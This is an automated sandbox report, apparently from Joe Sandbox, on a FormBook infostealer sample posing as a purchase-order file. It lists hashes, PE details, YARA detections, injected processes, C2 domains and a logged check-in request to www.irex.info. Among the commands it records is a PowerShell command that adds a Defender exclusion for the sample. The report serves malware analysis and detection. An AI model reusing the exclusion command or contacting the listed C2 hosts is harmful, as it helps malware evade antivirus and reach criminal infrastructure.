                                                                                                                                                                                                          SHA512:42c493ffc6ab03eed0d4f330bc7a544f07039816dcac30bdc1376aff0039f8845a149814b0500e7e31d07e0b4d35177a30c3fd87be171101155089e1ca665e93
                                                                                                                                                                                                          SSDEEP:12288:Ccir1S2IoOAc6/5rZGmy4FaMZno/BzZCvrTETrBPOK5c/UBgrmpExJIDpqY3z4FK:QaM9opsIrBc/UubIDP3XiFCQeBg0
                                                                                                                                                                                                          TLSH:BFE4F1517628AD23D5AA0FF60430E97603B75E8A7860F3D98DD9BCEB31F7B802550693
                                                                                                                                                                                                          File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...|B................0..:...........Y... ...`....@.. ....................................@................................

                                                                                                                                                                                                          File Icon

                                                                                                                                                                                                          Icon Hash:00928e8e8686b000

                                                                                                                                                                                                          Static PE Info

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Entrypoint:0x4a5912
                                                                                                                                                                                                          Entrypoint Section:.text
                                                                                                                                                                                                          Digitally signed:false
                                                                                                                                                                                                          Imagebase:0x400000
                                                                                                                                                                                                          Subsystem:windows gui
                                                                                                                                                                                                          Image File Characteristics:EXECUTABLE_IMAGE, 32BIT_MACHINE
                                                                                                                                                                                                          DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                                                                                                                                                                                                          Time Stamp:0xF1A3427C [Thu Jun 19 09:27:24 2098 UTC]
                                                                                                                                                                                                          TLS Callbacks:
                                                                                                                                                                                                          CLR (.Net) Version:
                                                                                                                                                                                                          OS Version Major:4
                                                                                                                                                                                                          OS Version Minor:0
                                                                                                                                                                                                          File Version Major:4
                                                                                                                                                                                                          File Version Minor:0
                                                                                                                                                                                                          Subsystem Version Major:4
                                                                                                                                                                                                          Subsystem Version Minor:0
                                                                                                                                                                                                          Import Hash:f34d5f2d4577ed6d9ceec516c1f5a744

                                                                                                                                                                                                          Entrypoint Preview

                                                                                                                                                                                                          Instruction
                                                                                                                                                                                                          jmp dword ptr [00402000h]
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                                                          add byte ptr [eax], al

                                                                                                                                                                                                          Data Directories

                                                                                                                                                                                                          NameVirtual AddressVirtual Size Is in Section
                                                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_IMPORT0xa58c00x4f.text
                                                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_RESOURCE0xa60000x3c0.rsrc
                                                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_BASERELOC0xa80000xc.reloc
                                                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_DEBUG0xa58a40x1c.text
                                                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_IAT0x20000x8.text
                                                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x20080x48.text
                                                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                                                                                                                          Sections

                                                                                                                                                                                                          NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                                                                                                                          .text0x20000xa39180xa3a00efd0e05974047062b00227a5d121ff9aFalse0.8677201704545454data7.721619398175927IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                          .rsrc0xa60000x3c00x4000c29a74823b332eec36ab4493317df7dFalse0.3720703125data3.062457964997364IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                          .reloc0xa80000xc0x200495d7f8311f5c8ff2d1b9a4d281d2503False0.044921875data0.10191042566270775IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                                                                                                                                                                          Resources

                                                                                                                                                                                                          NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                                                                                                                                          RT_VERSION0xa60580x364data0.402073732718894

                                                                                                                                                                                                          Imports

                                                                                                                                                                                                          DLLImport
                                                                                                                                                                                                          mscoree.dll_CorExeMain

                                                                                                                                                                                                          Network Behavior

                                                                                                                                                                                                          Suricata IDS Alerts

                                                                                                                                                                                                          TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                                                                                                                                                                          2024-10-14T15:17:27.763565+02002031412ET MALWARE FormBook CnC Checkin (GET)1192.168.2.75628785.13.166.1880TCP
                                                                                                                                                                                                          2024-10-14T15:17:27.763565+02002031449ET MALWARE FormBook CnC Checkin (GET)1192.168.2.75628785.13.166.1880TCP
                                                                                                                                                                                                          2024-10-14T15:17:27.763565+02002031453ET MALWARE FormBook CnC Checkin (GET)1192.168.2.75628785.13.166.1880TCP

                                                                                                                                                                                                          Network Port Distribution

                                                                                                                                                                                                          TCP Packets

                                                                                                                                                                                                          TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                                          Oct 14, 2024 15:17:27.245673895 CEST5628780192.168.2.785.13.166.18
                                                                                                                                                                                                          Oct 14, 2024 15:17:27.250606060 CEST805628785.13.166.18192.168.2.7
                                                                                                                                                                                                          Oct 14, 2024 15:17:27.250689983 CEST5628780192.168.2.785.13.166.18
                                                                                                                                                                                                          Oct 14, 2024 15:17:27.250750065 CEST5628780192.168.2.785.13.166.18
                                                                                                                                                                                                          Oct 14, 2024 15:17:27.255629063 CEST805628785.13.166.18192.168.2.7
                                                                                                                                                                                                          Oct 14, 2024 15:17:27.755326986 CEST5628780192.168.2.785.13.166.18
                                                                                                                                                                                                          Oct 14, 2024 15:17:27.761271000 CEST805628785.13.166.18192.168.2.7
                                                                                                                                                                                                          Oct 14, 2024 15:17:27.763565063 CEST5628780192.168.2.785.13.166.18

                                                                                                                                                                                                          UDP Packets

                                                                                                                                                                                                          TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                                          Oct 14, 2024 15:16:47.276453972 CEST5363197162.159.36.2192.168.2.7
                                                                                                                                                                                                          Oct 14, 2024 15:16:47.801290989 CEST53595661.1.1.1192.168.2.7
                                                                                                                                                                                                          Oct 14, 2024 15:17:07.973319054 CEST5033953192.168.2.71.1.1.1
                                                                                                                                                                                                          Oct 14, 2024 15:17:08.018893003 CEST53503391.1.1.1192.168.2.7
                                                                                                                                                                                                          Oct 14, 2024 15:17:27.207384109 CEST5718453192.168.2.71.1.1.1
                                                                                                                                                                                                          Oct 14, 2024 15:17:27.244896889 CEST53571841.1.1.1192.168.2.7
                                                                                                                                                                                                          Oct 14, 2024 15:17:47.410581112 CEST5010253192.168.2.71.1.1.1
                                                                                                                                                                                                          Oct 14, 2024 15:17:47.639615059 CEST53501021.1.1.1192.168.2.7
                                                                                                                                                                                                          Oct 14, 2024 15:18:07.849890947 CEST5879853192.168.2.71.1.1.1
                                                                                                                                                                                                          Oct 14, 2024 15:18:07.859323025 CEST53587981.1.1.1192.168.2.7
                                                                                                                                                                                                          Oct 14, 2024 15:18:29.298166037 CEST5416653192.168.2.71.1.1.1
                                                                                                                                                                                                          Oct 14, 2024 15:18:29.553488970 CEST53541661.1.1.1192.168.2.7
                                                                                                                                                                                                          Oct 14, 2024 15:18:50.200978994 CEST6484653192.168.2.71.1.1.1
                                                                                                                                                                                                          Oct 14, 2024 15:18:50.320421934 CEST53648461.1.1.1192.168.2.7
                                                                                                                                                                                                          Oct 14, 2024 15:19:11.409595966 CEST5454953192.168.2.71.1.1.1
                                                                                                                                                                                                          Oct 14, 2024 15:19:11.504940987 CEST53545491.1.1.1192.168.2.7
                                                                                                                                                                                                          Oct 14, 2024 15:19:32.146217108 CEST5952453192.168.2.71.1.1.1
                                                                                                                                                                                                          Oct 14, 2024 15:19:32.155893087 CEST53595241.1.1.1192.168.2.7
                                                                                                                                                                                                          Oct 14, 2024 15:19:52.505655050 CEST6136853192.168.2.71.1.1.1
                                                                                                                                                                                                          Oct 14, 2024 15:19:52.525564909 CEST53613681.1.1.1192.168.2.7
                                                                                                                                                                                                          Oct 14, 2024 15:20:15.238889933 CEST5308453192.168.2.71.1.1.1
                                                                                                                                                                                                          Oct 14, 2024 15:20:15.401881933 CEST53530841.1.1.1192.168.2.7
                                                                                                                                                                                                          Oct 14, 2024 15:20:35.551721096 CEST6087553192.168.2.71.1.1.1
                                                                                                                                                                                                          Oct 14, 2024 15:20:35.561461926 CEST53608751.1.1.1192.168.2.7

                                                                                                                                                                                                          DNS Queries

                                                                                                                                                                                                          TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                                                                                                          Oct 14, 2024 15:17:07.973319054 CEST192.168.2.71.1.1.10x87f6Standard query (0)www.ohns.appA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Oct 14, 2024 15:17:27.207384109 CEST192.168.2.71.1.1.10xf3e5Standard query (0)www.irex.infoA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Oct 14, 2024 15:17:47.410581112 CEST192.168.2.71.1.1.10xa5c8Standard query (0)www.f6b-crxy.topA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Oct 14, 2024 15:18:07.849890947 CEST192.168.2.71.1.1.10xf630Standard query (0)www.inn-paaaa.buzzA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Oct 14, 2024 15:18:29.298166037 CEST192.168.2.71.1.1.10x78afStandard query (0)www.5mwhs.topA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Oct 14, 2024 15:18:50.200978994 CEST192.168.2.71.1.1.10xccceStandard query (0)www.400725iimfyuj120.topA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Oct 14, 2024 15:19:11.409595966 CEST192.168.2.71.1.1.10x8ab5Standard query (0)www.reshcasinoinfo2.topA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Oct 14, 2024 15:19:32.146217108 CEST192.168.2.71.1.1.10xae52Standard query (0)www.ladder-cancer-symptoms-mine.sbsA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Oct 14, 2024 15:19:52.505655050 CEST192.168.2.71.1.1.10x4054Standard query (0)www.asukacro.onlineA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Oct 14, 2024 15:20:15.238889933 CEST192.168.2.71.1.1.10xdb35Standard query (0)www.nd-los.netA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Oct 14, 2024 15:20:35.551721096 CEST192.168.2.71.1.1.10x4aefStandard query (0)www.ochacha.sbsA (IP address)IN (0x0001)false

                                                                                                                                                                                                          DNS Answers

                                                                                                                                                                                                          TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                                                                                                          Oct 14, 2024 15:17:08.018893003 CEST1.1.1.1192.168.2.70x87f6Name error (3)www.ohns.appnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Oct 14, 2024 15:17:27.244896889 CEST1.1.1.1192.168.2.70xf3e5No error (0)www.irex.info85.13.166.18A (IP address)IN (0x0001)false
                                                                                                                                                                                                          Oct 14, 2024 15:17:47.639615059 CEST1.1.1.1192.168.2.70xa5c8Name error (3)www.f6b-crxy.topnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Oct 14, 2024 15:18:07.859323025 CEST1.1.1.1192.168.2.70xf630Name error (3)www.inn-paaaa.buzznonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Oct 14, 2024 15:18:29.553488970 CEST1.1.1.1192.168.2.70x78afName error (3)www.5mwhs.topnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Oct 14, 2024 15:18:50.320421934 CEST1.1.1.1192.168.2.70xccceName error (3)www.400725iimfyuj120.topnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Oct 14, 2024 15:19:11.504940987 CEST1.1.1.1192.168.2.70x8ab5Name error (3)www.reshcasinoinfo2.topnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Oct 14, 2024 15:19:32.155893087 CEST1.1.1.1192.168.2.70xae52Name error (3)www.ladder-cancer-symptoms-mine.sbsnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Oct 14, 2024 15:19:52.525564909 CEST1.1.1.1192.168.2.70x4054Name error (3)www.asukacro.onlinenonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Oct 14, 2024 15:20:15.401881933 CEST1.1.1.1192.168.2.70xdb35Name error (3)www.nd-los.netnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Oct 14, 2024 15:20:35.561461926 CEST1.1.1.1192.168.2.70x4aefName error (3)www.ochacha.sbsnonenoneA (IP address)IN (0x0001)false

                                                                                                                                                                                                          HTTP Request Dependency Graph

                                                                                                                                                                                                          • www.irex.info

                                                                                                                                                                                                          HTTP Packets

                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          0192.168.2.75628785.13.166.18804056C:\Windows\explorer.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Oct 14, 2024 15:17:27.250750065 CEST171OUTGET /cu29/?Dzr=IwPUjMyQOkFzpF8yWccrKmKp5P8dDDiJJg1OEW3Oajc2fvmWhIoIvoJUZNgedySmeDm+J9tHNw==&R2M=Gpg8ENjxBfvTXZ1 HTTP/1.1
                                                                                                                                                                                                          Host: www.irex.info
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Data Raw: 00 00 00 00 00 00 00
                                                                                                                                                                                                          Data Ascii:


                                                                                                                                                                                                          Statistics

                                                                                                                                                                                                          CPU Usage

                                                                                                                                                                                                          Click to jump to process

                                                                                                                                                                                                          Memory Usage

                                                                                                                                                                                                          Click to jump to process

                                                                                                                                                                                                          High Level Behavior Distribution

                                                                                                                                                                                                          Click to dive into process behavior distribution

                                                                                                                                                                                                          Behavior

                                                                                                                                                                                                          Click to jump to process

                                                                                                                                                                                                          System Behavior

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:0
                                                                                                                                                                                                          Start time:09:15:59
                                                                                                                                                                                                          Start date:14/10/2024
                                                                                                                                                                                                          Path:C:\Users\user\Desktop\Request For PO-230102.bat.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:"C:\Users\user\Desktop\Request For PO-230102.bat.exe"
                                                                                                                                                                                                          Imagebase:0x8c0000
                                                                                                                                                                                                          File size:672'256 bytes
                                                                                                                                                                                                          MD5 hash:4EFAEAFE642C9238304AA562C1477A26
                                                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Yara matches:
                                                                                                                                                                                                          • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000000.00000002.1262575424.0000000003C39000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                          • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000000.00000002.1262575424.0000000003C39000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                          • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000000.00000002.1262575424.0000000003C39000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000000.00000002.1262575424.0000000003C39000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                                                                          • Rule: Formbook, Description: detect Formbook in memory, Source: 00000000.00000002.1262575424.0000000003C39000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                                                                          Reputation:low
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:3
                                                                                                                                                                                                          Start time:09:16:00
                                                                                                                                                                                                          Start date:14/10/2024
                                                                                                                                                                                                          Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Request For PO-230102.bat.exe"
                                                                                                                                                                                                          Imagebase:0x720000
                                                                                                                                                                                                          File size:433'152 bytes
                                                                                                                                                                                                          MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Reputation:high
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:4
                                                                                                                                                                                                          Start time:09:16:00
                                                                                                                                                                                                          Start date:14/10/2024
                                                                                                                                                                                                          Path:C:\Users\user\Desktop\Request For PO-230102.bat.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:"C:\Users\user\Desktop\Request For PO-230102.bat.exe"
                                                                                                                                                                                                          Imagebase:0xb70000
                                                                                                                                                                                                          File size:672'256 bytes
                                                                                                                                                                                                          MD5 hash:4EFAEAFE642C9238304AA562C1477A26
                                                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Yara matches:
                                                                                                                                                                                                          • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000004.00000002.1393248117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                          • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.1393248117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                          • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.1393248117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000004.00000002.1393248117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                                                                          • Rule: Formbook, Description: detect Formbook in memory, Source: 00000004.00000002.1393248117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                                                                          Reputation:low
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:5
                                                                                                                                                                                                          Start time:09:16:00
                                                                                                                                                                                                          Start date:14/10/2024
                                                                                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                          Imagebase:0x7ff75da10000
                                                                                                                                                                                                          File size:862'208 bytes
                                                                                                                                                                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Reputation:high
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:6
                                                                                                                                                                                                          Start time:09:16:01
                                                                                                                                                                                                          Start date:14/10/2024
                                                                                                                                                                                                          Path:C:\Windows\explorer.exe
                                                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                                                          Commandline:C:\Windows\Explorer.EXE
                                                                                                                                                                                                          Imagebase:0x7ff70ffd0000
                                                                                                                                                                                                          File size:5'141'208 bytes
                                                                                                                                                                                                          MD5 hash:662F4F92FDE3557E86D110526BB578D5
                                                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Yara matches:
                                                                                                                                                                                                          • Rule: Windows_Trojan_Formbook_772cc62d, Description: unknown, Source: 00000006.00000002.3720341858.000000000FC69000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          Reputation:high
                                                                                                                                                                                                          Has exited:false

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:14
                                                                                                                                                                                                          Start time:09:16:11
                                                                                                                                                                                                          Start date:14/10/2024
                                                                                                                                                                                                          Path:C:\Windows\SysWOW64\cmstp.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:"C:\Windows\SysWOW64\cmstp.exe"
                                                                                                                                                                                                          Imagebase:0xe30000
                                                                                                                                                                                                          File size:81'920 bytes
                                                                                                                                                                                                          MD5 hash:D7AABFAB5BEFD53BA3A27BD48F3CC675
                                                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Yara matches:
                                                                                                                                                                                                          • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000E.00000002.3707841905.00000000032C0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                          • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000E.00000002.3707841905.00000000032C0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                          • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000E.00000002.3707841905.00000000032C0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000E.00000002.3707841905.00000000032C0000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                                                                          • Rule: Formbook, Description: detect Formbook in memory, Source: 0000000E.00000002.3707841905.00000000032C0000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                                                                          • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000E.00000002.3708233688.0000000004BA0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                          • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000E.00000002.3708233688.0000000004BA0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                          • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000E.00000002.3708233688.0000000004BA0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000E.00000002.3708233688.0000000004BA0000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                                                                          • Rule: Formbook, Description: detect Formbook in memory, Source: 0000000E.00000002.3708233688.0000000004BA0000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                                                                          • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000E.00000002.3706125746.0000000002E90000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                          • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000E.00000002.3706125746.0000000002E90000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                          • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000E.00000002.3706125746.0000000002E90000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000E.00000002.3706125746.0000000002E90000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
